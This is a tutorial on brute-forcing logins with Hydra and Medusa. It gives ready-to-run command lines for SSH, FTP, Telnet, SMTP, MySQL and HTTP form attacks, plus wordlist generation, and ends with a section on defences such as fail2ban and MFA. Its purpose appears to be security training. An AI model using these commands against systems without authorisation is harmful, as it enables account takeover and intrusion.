Hydra Brute Force

Step 1 — How Hydra Works

Hydra tries username/password combinations against a live service as fast as possible. It supports 50+ protocols including SSH, FTP, HTTP, SMTP, RDP, MySQL, and more.

# Hydra basic syntax
hydra [OPTIONS] TARGET SERVICE

# Key flags:
-l username      → single username
-L file.txt      → list of usernames
-p password      → single password
-P file.txt      → list of passwords (wordlist)
-t 4             → number of parallel tasks (threads)
-f               → stop after first valid login found
-V               → verbose (show each attempt)
-o output.txt    → save results to file

Step 2 — SSH Brute Force

# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

# Username list + password list
hydra -L users.txt -P passwords.txt ssh://192.168.1.10

# Try common passwords on many usernames
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
      -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt \
      -t 4 -f ssh://192.168.1.10

# Custom port
hydra -l root -P rockyou.txt -s 2222 ssh://192.168.1.10

# Successful result looks like:
[22][ssh] host: 192.168.1.10   login: admin   password: password123

Step 3 — FTP Brute Force

# FTP brute force
hydra -l ftp -P rockyou.txt ftp://192.168.1.10

# Try anonymous login first (before brute-forcing)
ftp 192.168.1.10
# Username: anonymous
# Password: (blank or your@email.com)

# Other common services
hydra -l admin -P rockyou.txt telnet://192.168.1.10
hydra -l admin -P rockyou.txt smtp://192.168.1.10
hydra -l root  -P rockyou.txt mysql://192.168.1.10

Step 4 — HTTP Login Form Brute Force

This is trickier — you need to identify the form parameters and what a failed login looks like.

# Step 1: Find the form fields using browser DevTools or Burp Suite
# Right-click login form → Inspect → look for input names
# e.g. username=admin&password=test

# HTTP POST form — http-post-form module
# Format: "PATH:BODY:FAIL_STRING"
hydra -l admin -P rockyou.txt 192.168.1.10 \
  http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# ^USER^ and ^PASS^ are Hydra's placeholders
# "Invalid credentials" = text that appears on FAILED login

# HTTP GET form (less common)
hydra -l admin -P rockyou.txt 192.168.1.10 \
  http-get-form "/login?user=^USER^&pass=^PASS^:F=Login failed"

# HTTP Basic Authentication (pop-up login box)
hydra -l admin -P rockyou.txt http-get://192.168.1.10/admin

Step 5 — Choosing the Right Wordlist

# Location of wordlists on Kali
ls /usr/share/wordlists/
ls /usr/share/seclists/

# Install SecLists (comprehensive collection)
sudo apt install seclists -y

# Recommended wordlists by use case:
# Quick test (top passwords):
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

# SSH / general service:
/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt

# Full rockyou (14 million, slow):
/usr/share/wordlists/rockyou.txt

# Usernames:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/usr/share/seclists/Usernames/Names/names.txt

# Generate custom wordlist with crunch
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt

# Generate from target keywords with cewl
cewl https://example.com -d 2 -m 5 -w cewl_wordlist.txt

Step 6 — Medusa (Hydra Alternative)

# Medusa is another brute-force tool, faster on some protocols
sudo apt install medusa -y

# SSH brute force with Medusa
medusa -h 192.168.1.10 -u admin -P rockyou.txt -M ssh

# Multiple hosts from file
medusa -H hosts.txt -u admin -P rockyou.txt -M ftp -t 10

Step 7 — Defence Against Brute Force

# How defenders stop brute-force attacks:

# 1. Account lockout — lock account after N failed attempts
# fail2ban automatically blocks IPs after failures:
sudo apt install fail2ban
# /etc/fail2ban/jail.conf → maxretry = 3, bantime = 3600

# 2. Rate limiting
# nginx limit_req_zone limits login attempts per IP per second

# 3. SSH key authentication (disable password auth)
# /etc/ssh/sshd_config:
# PasswordAuthentication no
# PubkeyAuthentication yes

# 4. Change default ports
# SSH on port 22 gets hammered constantly
# Moving to port 2222 reduces noise by 90%+

# 5. MFA / Two-Factor Authentication
# Even if password is found, attacker needs the second factor

📋 Hydra Cheat Sheet